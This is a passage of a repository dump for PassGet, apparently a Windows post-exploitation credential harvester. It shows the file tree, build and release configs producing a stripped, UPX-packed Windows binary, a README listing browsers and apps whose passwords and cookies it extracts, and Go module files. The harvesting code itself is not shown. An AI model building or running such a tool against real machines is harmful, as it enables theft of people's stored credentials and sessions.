├── .github ├── conf │ └── .goreleaser.yml └── workflows │ └── goreleaser.yml ├── .gitignore ├── README.md ├── go.mod ├── go.sum ├── log ├── level │ └── level.go ├── log.go └── logger.go ├── main.go └── modules ├── browser ├── browserGet.go ├── browserdata │ ├── bookmark │ │ └── bookmark.go │ ├── browserdata.go │ ├── cookie │ │ └── cookie.go │ ├── creditcard │ │ └── creditcard.go │ ├── download │ │ └── download.go │ ├── extension │ │ └── extension.go │ ├── history │ │ └── history.go │ ├── imports.go │ ├── localstorage │ │ ├── localstorage.go │ │ └── localstorage_test.go │ ├── outputter.go │ ├── password │ │ └── password.go │ └── sessionstorage │ │ └── sessionstorage.go └── pick │ ├── browser.go │ ├── browser_windows.go │ ├── chromium │ ├── chromium.go │ └── chromium_windows.go │ ├── consts.go │ └── firefox │ └── firefox.go ├── filezilla └── filezilla.go ├── finalshell ├── decrypt.go ├── finalshell.go └── modules.go ├── navicat ├── decrypt.go ├── modules.go └── navicat.go ├── rdp └── rdp.go ├── run ├── get.go └── run.go ├── sunlogin └── sunlogin.go ├── todesk └── todesk.go ├── utils ├── browser │ ├── browser.go │ ├── byteutil │ │ └── byteutil.go │ ├── crypto │ │ ├── asn1pbe.go │ │ ├── asn1pbe_test.go │ │ ├── crypto.go │ │ ├── crypto_darwin.go │ │ ├── crypto_linux.go │ │ ├── crypto_test.go │ │ ├── crypto_windows.go │ │ └── pbkdf2.go │ ├── extractor │ │ ├── extractor.go │ │ └── registration.go │ ├── fileutil │ │ └── fileutil.go │ ├── types │ │ └── types.go │ └── typeutil │ │ └── typeutil.go ├── modules.go ├── remote │ └── remote.go └── utils.go ├── wifi └── wifi.go └── winscp └── winscp.go /.github/conf/.goreleaser.yml: -------------------------------------------------------------------------------- 1 | before: 2 | hooks: 3 | - go mod tidy 4 | builds: 5 | - 6 | id: default 7 | env: 8 | - CGO_ENABLED=0 9 | goos: 10 | - windows 11 | # - linux 12 | # - darwin 13 | # - freebsd 14 | # - solaris 15 | goarch: 16 | - amd64 17 | # - "386" 18 | # - arm 19 | # - arm64 20 | # - mips 21 | # - mipsle 22 | # - mips64 23 | goarm: 24 | - "6" 25 | - "7" 26 | flags: 27 | - -trimpath 28 | ldflags: 29 | - -s -w 30 | upx: 31 | - 32 | ids: [ default ] 33 | enabled: true 34 | # goos: ["windows", "linux"] 35 | goos: ["windows"] 36 | # goarch: ["amd64", "386"] 37 | goarch: ["amd64"] 38 | compress: best 39 | # lzma: true 40 | # brute: true 41 | archives: 42 | - 43 | format: binary 44 | allow_different_binary_count: true 45 | name_template: >- 46 | {{- .ProjectName }} 47 | {{- if eq .Os "darwin"}}_mac 48 | {{- else if eq .Os "linux"}} 49 | {{- else if eq .Os "windows"}} 50 | {{- else }}_{{ .Os }}{{ end }} 51 | {{- if eq .Arch "amd64" }} 52 | {{- else if eq .Arch "386" }}32 53 | {{- else }}_{{ .Arch }}{{ end }} 54 | {{- if .Arm }}v{{ .Arm }}{{ end -}} 55 | checksum: 56 | name_template: 'checksums.txt' 57 | snapshot: 58 | name_template: "{{ incpatch .Version }}-next" 59 | changelog: 60 | sort: asc 61 | filters: 62 | exclude: 63 | - '^docs:' 64 | - '^test:' 65 | - "^*.md" 66 | - "^*.ya?ml" -------------------------------------------------------------------------------- /.github/workflows/goreleaser.yml: -------------------------------------------------------------------------------- 1 | name: goreleaser 2 | 3 | #on: 4 | # push: 5 | # tags: 6 | # - '*' 7 | on: 8 | push: 9 | branches: 10 | - main 11 | # - '*' 12 | 13 | permissions: 14 | contents: write 15 | 16 | jobs: 17 | goreleaser: 18 | runs-on: ubuntu-latest 19 | timeout-minutes: 60 20 | steps: 21 | - name: "Check out code" 22 | uses: actions/checkout@v3 23 | with: 24 | fetch-depth: 0 25 | 26 | - name: "Set up Go" 27 | uses: actions/setup-go@v4 28 | with: 29 | go-version: 1.20.14 30 | - 31 | name: Install UPX 32 | uses: crazy-max/ghaction-upx@v3 33 | with: 34 | install-only: true 35 | 36 | - name: UPX version 37 | run: upx --version 38 | 39 | - 40 | name: "Create release on GitHub" 41 | uses: goreleaser/goreleaser-action@v4 42 | with: 43 | distribution: goreleaser 44 | version: latest 45 | args: "release --clean -f .github/conf/.goreleaser.yml" 46 | workdir: . 47 | env: 48 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 49 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | *.exe 3 | results/* 4 | results -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![PassGet](https://socialify.git.ci/adeljck/PassGet/image?description=1&descriptionEditable=Windows%E5%90%8E%E6%B8%97%E9%80%8F%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96%E5%B7%A5%E5%85%B7(%E6%87%92%E7%8B%97%E7%89%88)&font=Bitter&forks=1&issues=1&language=1&logo=https://avatars.githubusercontent.com/u/24542600?v=4&name=1&owner=1&pattern=Circuit%20Board&pulls=1&stargazers=1&theme=Dark) 2 | 3 | ## Reference 4 | 5 | - https://github.com/moonD4rk/HackBrowserData 6 | - https://github.com/flydyyg/readTdose-xiangrikui 7 | - https://cloud.tencent.com/developer/article/1684021 8 | - https://github.com/passer-W/FinalShell-Decoder 9 | - https://github.com/RowTeam/SharpDecryptPwd 10 | 11 | 12 | ## Export Supported App 13 | 14 | | App | Supported | 15 | |:------------|:--------:| 16 | | FinalShell | ✅ | 17 | | WinSCP | ✅ | 18 | | Navicat | ✅ | 19 | | Browser | ✅ | 20 | | FileZilla | ✅ | 21 | | Wifi | ✅ | 22 | | SunLogin | ✅ | 23 | | TortoiseSVN | Working | 24 | | MobaltXTerm | Working | 25 | | XManager | Working | 26 | 27 | ## Supported Browser 28 | 29 | | Browser | Password | Cookie | Bookmark | History | 30 | |:-------------------|:--------:|:------:|:--------:|:-------:| 31 | | Google Chrome | ✅ | ✅ | ✅ | ✅ | 32 | | Google Chrome Beta | ✅ | ✅ | ✅ | ✅ | 33 | | Chromium | ✅ | ✅ | ✅ | ✅ | 34 | | Microsoft Edge | ✅ | ✅ | ✅ | ✅ | 35 | | 360 Speed | ✅ | ✅ | ✅ | ✅ | 36 | | QQ | ✅ | ✅ | ✅ | ✅ | 37 | | Brave | ✅ | ✅ | ✅ | ✅ | 38 | | Opera | ✅ | ✅ | ✅ | ✅ | 39 | | OperaGX | ✅ | ✅ | ✅ | ✅ | 40 | | Vivaldi | ✅ | ✅ | ✅ | ✅ | 41 | | Yandex | ✅ | ✅ | ✅ | ✅ | 42 | | CocCoc | ✅ | ✅ | ✅ | ✅ | 43 | | Firefox | ✅ | ✅ | ✅ | ✅ | 44 | | Firefox Beta | ✅ | ✅ | ✅ | ✅ | 45 | | Firefox Dev | ✅ | ✅ | ✅ | ✅ | 46 | | Firefox ESR | ✅ | ✅ | ✅ | ✅ | 47 | | Firefox Nightly | ✅ | ✅ | ✅ | ✅ | 48 | | Internet Explorer | ❌ | ❌ | ❌ | ❌ | 49 | 50 | ## 51 | ![Start History](https://api.star-history.com/svg?repos=adeljck/PassGet&type=Date) 52 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module PassGet 2 | 3 | go 1.20 4 | 5 | require golang.org/x/sys v0.28.0 6 | 7 | require ( 8 | github.com/go-ini/ini v1.67.0 9 | github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 10 | github.com/otiai10/copy v1.14.0 11 | github.com/parsiya/golnk v0.0.0-20221103095132-740a4c27c4ff 12 | github.com/shirou/gopsutil/v3 v3.24.5 13 | github.com/stretchr/testify v1.10.0 14 | github.com/syndtr/goleveldb v1.0.0 15 | github.com/tidwall/gjson v1.18.0 16 | golang.org/x/crypto v0.31.0 17 | golang.org/x/text v0.21.0 18 | modernc.org/sqlite v1.20.0 19 | ) 20 | 21 | require ( 22 | github.com/cpuguy83/go-md2man/v2 v2.0.5 // indirect 23 | github.com/davecgh/go-spew v1.1.1 // indirect 24 | github.com/dustin/go-humanize v1.0.1 // indirect 25 | github.com/go-ole/go-ole v1.2.6 // indirect 26 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect 27 | github.com/google/uuid v1.6.0 // indirect 28 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect 29 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect 30 | github.com/mattn/go-isatty v0.0.20 // indirect 31 | github.com/mattn/go-runewidth v0.0.9 // indirect 32 | github.com/ncruces/go-strftime v0.1.9 // indirect 33 | github.com/olekukonko/tablewriter v0.0.5 // indirect 34 | github.com/pmezard/go-difflib v1.0.0 // indirect 35 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect 36 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect 37 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 38 | github.com/shoenig/go-m1cpu v0.1.6 // indirect 39 | github.com/tidwall/match v1.1.1 // indirect 40 | github.com/tidwall/pretty v1.2.0 // indirect 41 | github.com/tklauser/go-sysconf v0.3.12 // indirect 42 | github.com/tklauser/numcpus v0.6.1 // indirect 43 | github.com/urfave/cli/v2 v2.27.5 // indirect 44 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect 45 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 46 | golang.org/x/mod v0.17.0 // indirect 47 | golang.org/x/sync v0.10.0 // indirect 48 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect 49 | gopkg.in/yaml.v3 v3.0.1 // indirect 50 | lukechampine.com/uint128 v1.2.0 // indirect 51 | modernc.org/cc/v3 v3.40.0 // indirect 52 | modernc.org/ccgo/v3 v3.16.13 // indirect 53 | modernc.org/libc v1.55.3 // indirect 54 | modernc.org/mathutil v1.6.0 // indirect 55 | modernc.org/memory v1.8.0 // indirect 56 | modernc.org/opt v0.1.3 // indirect 57 | modernc.org/strutil v1.2.0 // indirect 58 | modernc.org/token v1.1.0 // indirect 59 | ) 60 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cpuguy83/go-md2man/v2 v2.0.5 h1:ZtcqGrnekaHpVLArFSe4HK5DoKx1T0rq2DwVB0alcyc= 2 | github.com/cpuguy83/go-md2man/v2 v2.0.5/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= 6 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= 7 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 8 | github.com/go-ini/ini v1.67.0 h1:z6ZrTEZqSWOTyH2FlglNbNgARyHG8oLW9gMELqKr06A= 9 | github.com/go-ini/ini v1.67.0/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8= 10 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 11 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 12 | github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ= 13 | github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= 14 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 15 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w= 16 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 17 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 18 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 19 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= 20 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 21 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 22 | github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= 23 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 24 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= 25 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= 26 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4= 27 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= 28 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 29 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 30 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 31 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 32 | github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI= 33 | github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= 34 | github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= 35 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= 36 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= 37 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 38 | github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs= 39 | github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 40 | github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU= 41 | github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= 42 | github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU= 43 | github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w= 44 | github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks= 45 | github.com/parsiya/golnk v0.0.0-20221103095132-740a4c27c4ff h1:japdIZgV4tJIgn7NqUD7mAkLiPRsPK5LXVgjNwFtDA4= 46 | github.com/parsiya/golnk v0.0.0-20221103095132-740a4c27c4ff/go.mod h1:A24WXUol4NXZlK8grjh/CsZnPlimfwaQFt5PQsqS27s= 47 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 48 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 49 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw= 50 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 51 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= 52 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= 53 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= 54 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 55 | github.com/shirou/gopsutil/v3 v3.24.5 h1:i0t8kL+kQTvpAYToeuiVk3TgDeKOFioZO3Ztz/iZ9pI= 56 | github.com/shirou/gopsutil/v3 v3.24.5/go.mod h1:bsoOS1aStSs9ErQ1WWfxllSeS1K5D+U30r2NfcubMVk= 57 | github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= 58 | github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= 59 | github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= 60 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 61 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 62 | github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE= 63 | github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ= 64 | github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= 65 | github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 66 | github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= 67 | github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= 68 | github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= 69 | github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 70 | github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU= 71 | github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI= 72 | github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk= 73 | github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY= 74 | github.com/urfave/cli/v2 v2.27.5 h1:WoHEJLdsXr6dDWoJgMq/CboDmyY/8HMMH1fTECbih+w= 75 | github.com/urfave/cli/v2 v2.27.5/go.mod h1:3Sevf16NykTbInEnD0yKkjDAeZDS0A6bzhBH5hrMvTQ= 76 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4= 77 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM= 78 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 79 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 80 | golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= 81 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= 82 | golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= 83 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 84 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 85 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 86 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 87 | golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= 88 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 89 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 90 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 91 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 92 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 93 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 94 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 95 | golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= 96 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 97 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 98 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 99 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 100 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= 101 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= 102 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 103 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 104 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 105 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 106 | gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= 107 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 108 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 109 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 110 | gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE= 111 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 112 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 113 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 114 | lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI= 115 | lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= 116 | modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw= 117 | modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= 118 | modernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ= 119 | modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw= 120 | modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= 121 | modernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y= 122 | modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk= 123 | modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE= 124 | modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw= 125 | modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM= 126 | modernc.org/libc v1.55.3 h1:AzcW1mhlPNrRtjS5sS+eW2ISCgSOLLNyFzRh/V3Qj/U= 127 | modernc.org/libc v1.55.3/go.mod h1:qFXepLhz+JjFThQ4kzwzOjA/y/artDeg+pcYnY+Q83w= 128 | modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4= 129 | modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo= 130 | modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E= 131 | modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU= 132 | modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4= 133 | modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= 134 | modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc= 135 | modernc.org/sqlite 